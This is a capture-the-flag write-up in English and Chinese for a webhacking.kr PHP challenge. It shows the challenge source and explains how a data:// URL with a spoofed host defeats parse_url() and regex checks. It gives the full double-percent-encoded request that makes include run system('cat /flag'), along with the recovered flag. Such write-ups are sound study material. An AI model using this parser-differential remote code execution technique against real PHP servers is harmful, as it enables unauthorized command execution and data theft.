Challenge
The page takes a
urlparameter, appends.txt, and includes it after a stack of URL checks.页面接收
url参数,追加.txt后经过一串 URL 校验再include。
http://webhacking.kr:10009/Analysis
?view_source=1 直接给出源码:
<?php if($_GET['view_source']){ highlight_file(__FILE__); exit; } if($_GET['view_version']){ echo phpversion(); exit; } if($_GET['ls']){ system("ls -a"); exit; } // to prove for about there is not hidden files in this directory. you dont have to run dirbuster! if(isset($_GET['url'])){ $url = $_GET['url'].".txt"; if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url"); if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server"); if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange"); if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port"); if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange"); include $url; } echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";?>页面提供 PHP 版本和目录清单;直接访问 .txt 文件会返回 PHP 源码,通过 url 参数包含同一文件则会执行其中的代码:
?view_version=1 -> 7.3.8-1+ubuntu18.04.1+deb.sury.org+1?ls=1 -> . .. cat.txt dog.txt index.php/cat.txt -> <?php echo "meow meow"; ?>/dog.txt -> <?php echo "bow wow"; ?>?url=http://webhacking.kr:10009/cat -> meow meowmeow meow 的回显说明 HTTP stream 可以被 include,即题目环境允许 URL inclusion。校验作用于追加 .txt 后的 $url:
filter_var(..., FILTER_VALIDATE_URL)检查 URL 格式。- 第一条正则要求匹配
http://webhacking.kr:10009/,没有锚定字符串开头。 - 第二条正则禁用
@、#、括号、$、反引号、单双引号、_、花括号和?。 parse_url()要求 host 为webhacking.kr、port 为10009,且不含 user/pass。
这些检查没有限制 scheme。将 http://webhacking.kr:10009/ 放入 path 仍能满足正则,前面的 authority 则用于通过 parse_url() 检查。最终 include 使用哪个 stream wrapper,由 scheme 决定。
Solution
RFC 2397 定义的 data URL 形式为 data:[<mediatype>][;base64],<data>。PHP 支持 data:// 写法,并接受下面这个包含伪装 authority 的输入:
data://webhacking.kr:10009/http://webhacking.kr:10009/,HELLO追加 .txt 后,filter_var 接受该 URL,第一条正则命中 path 内的 HTTP URL,黑名单没有命中。parse_url() 将其解析为:
scheme = datahost = webhacking.krport = 10009path = /http://webhacking.kr:10009/,HELLO.txtdata:// wrapper 将逗号前的部分作为媒体类型信息处理,从逗号后的 data 读取内容,不会向上述 host 发起 HTTP 请求。此时 .txt 已经追加到 data 末尾,所以 include 读取并输出 HELLO.txt。这里利用的是 parse_url() 与 stream wrapper 对同一字符串的不同解释;伪装的 authority 并非 RFC 2397 定义的网络地址。
未使用 ;base64 时,wrapper 会对 data 做一次 URL 解码。将 PHP 代码中的禁用字符写为百分号编码,校验阶段便只会看到 %28、%29、%27、%3F 等文本。请求 query 还会先经过一次解码,因此其中的 % 必须再编码为 %25:%2528 → $_GET['url'] 中的 %28 → wrapper 内容中的 (。
完整 payload 在各阶段的值:
$_GET['url'] = data://webhacking.kr:10009/http://webhacking.kr:10009/,%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%3F%3E$url = $_GET['url'] . ".txt"data 解码后 = <?php system('cat /flag');?>.txt请求(query 里的 % 再编一次,即 %3C → %253C):
GET /?url=data%3A%2F%2Fwebhacking.kr%3A10009%2Fhttp%3A%2F%2Fwebhacking.kr%3A10009%2F%2C%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%253F%253E HTTP/1.1Host: webhacking.kr:10009返回:
FLAG{*****************}.txtinclude 执行解码后的 <?php system('cat /flag');?>,读取 /flag。闭合标签 ?> 使后缀 .txt 位于 PHP 代码之外,作为普通文本输出,因此无需截断后缀。该链依赖 allow_url_fopen 和 allow_url_include 开启,以及 system() 可用。
FLAG{hardcore_from_7.1}